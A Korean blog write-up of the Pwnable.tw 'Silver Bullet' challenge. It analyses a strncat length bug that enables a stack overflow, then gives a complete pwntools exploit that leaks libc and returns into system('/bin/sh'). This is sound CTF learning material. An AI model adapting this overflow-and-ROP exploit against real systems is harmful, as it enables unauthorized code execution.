Recent Posts
Recent Comments
Link
«   2025/07   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] Silver Bullet(Write-up) 본문

Hack/Pwnable

[Pwnable.tw] Silver Bullet(Write-up)

CIDY 2023. 1. 3. 03:58

-

675ㅠ

그럼 본격적으로 문제를 풀어보자. 이건 예전에 풀었던 문제인데 새롭게 풀어보려는 것임.

뭐지 이 애매한 보호기법은.. 32비트 그만나왔으면 좋겠다.

또 메뉴 문제다.

1번 메뉴이다. s에 bullet을 만드는 것 같은데, 이미 값이 있으면 안된다. (s는 0x30만큼 memset된 상태) 그리고 0x30입력받고 그 길이를 v2에 저장하는데, 꽉채우면 쓰레기값 때문에 0x30을 넘길 수 있을지도 모른다는 생각이 들었다. (근데 main보니 초기화돼있어서 안될지도? 근데 앞바이트를 \x00주면 계속 생성할 수 있는건가 ㅋㅋ) 그리고 0x30이후에 int형으로 v2를 저장한다.

2번 메뉴이다. 여기서 dest는 main의 s이다. s를 새롭게 선언함. 그리고 dest즉 main의 s에 값이 있어야 == bullet생성했어야 쓸 수 있는 메뉴임. 그리고 아까 뒤에 저장해둔 strlen이 0x2f보다 크면(48부터) 파워업 더 못한다고 함. 0x2f는 47. 여기서 48까지는 업하게 해줌. 엄...그런데 이 코드대로면 예를들어 20입력하고 파워업으로 28입력하려고 하면 s에는 48써지는게 아니고 20위에 28덮어써지는 꼴이 아닌가..? 🤔 아아 s에 read하고 strncat으로 덧붙이는거구나 ㅇㅋㅇㅋ 근데 strncatㅈㄴ 취약점 발생할거처럼 생겼음. 기분탓인가? 그리고 v3에 s의 길이 + 기존 dest의 뒤에 저장돼있던 길이...를 더해서 저장하고 dset + 12를 그걸로 바꿔버림.

흠....뭔가 떠오를 것 같은데 일단 ㅇㅋ

그리고 마지막 메뉴(return은 걍 exit임)이다. 웨어울프의 이름과 HP를 출력해준다. 그 HP에서 내 총알의 len을 뺀 값이 0보다 작거나 같으면 이기는거고 아니면 지는것임. 아 물론 총알 만들어야 쓸 수 있는 메뉴다.


일단 코드는 여기까진데 웨어울프 이기는 것도 중요한데 우리는 익스할 생각을 해야한다. 일단 웨어울프를 이겨야 exit가 아닌 정상 return을 할 수 있는 구조이기 때문에 rop쪽으로 생각해봐야 할 듯 하다. 일단 카나리가 없으니 main의 s변수에서 오버플로우를 일으키는 게 의도된 방향일 것 같다. 그럼 일단 늑대를 이길 생각부터 해보자.

이거 백퍼 strncat이 문제일텐데..

? 당연히 0x20 + 0x10 = 48이 나올 줄 알았는데 16이 나온다. 역시 strncat이 문제였다. 뒤에 NULL붙여주면서 int형 길이까지 0으로 만들어버려서 0 + 16 = 16이 된듯. 그럼 들어있는 값에 비해 길이를 더 적어보이게 할 수 있음 -> 더 쓸 수 있음 -> 오버플로우 쌉가능ㅇㅇ

그럼 오버플로우는 됐고, rop하려면 립씨릭해야 한다. 어디서 릭하지.. 만약 늑대 이름을 저장하는 문자열이 s다음에 있다면 overwrite -> %s출력도 염두에 뒀을텐데

하 이것저것 해봤는데 생각해보니 뭘 그리 복잡하게 사냐 무한rop되니까 걍 rop로 다조지면된다.

from pwn import *

def create(content):
    p.sendafter(b"Your choice :", b"1")
    p.sendafter(b"Give me your description of bullet :", content)
    
def powerup(content):
    p.sendafter(b"Your choice :", b"2")
    p.sendafter(b"Give me your another description of bullet :", content)

def beat():
    p.sendafter(b"Your choice :", b"3")

p = remote("chall.pwnable.tw", 10103)
#p = process("./silver_bullet")
e = ELF("./silver_bullet")
#libc = e.libc
libc = ELF("./libc_32.so.6")

create(b"A" * 0x2f)
powerup(b"A" * 0x1)

puts = 0x80484a8
pop3_ret = 0x08048a79
pop_ret = 0x08048475

payload = b""
payload += b"\xff\xff\xff"
payload += b"A" * 0x4
payload += p32(puts)
payload += p32(pop_ret)
payload += p32(0x0804b024) #stdout
payload += p32(e.sym['main'])

powerup(payload)
beat()

p.recvuntil(b"Oh ! You win !!")
p.recvline()
stdout = u32(p.recvuntil(b"\xf7"))
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))

system = libc_base + libc.sym['system']
binsh_str = libc_base + next(libc.search(b"/bin/sh\x00"))

create(b"A" * 0x2f)
powerup(b"A" * 0x1)

payload = b""
payload += b"\xff\xff\xff"
payload += b"A" * 0x4
payload += p32(system)
payload += b"A" * 0x4
payload += p32(binsh_str)

powerup(payload)
beat()

p.interactive()

걍 간단한 rop문제임. 진짜 tw의 pt책정 기준을 모르겠다.

flag

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] seethefile(Write-up)  (1) 2023.01.07
[Pwnable.tw] Re-alloc(Write-up)  (1) 2023.01.04
[Pwnable.tw] applestore(Write-up)  (2) 2023.01.02
[Pwnable.tw] hacknote(Write-up)  (0) 2023.01.01
[Pwnable.tw] dubblesort(Write-up)  (0) 2023.01.01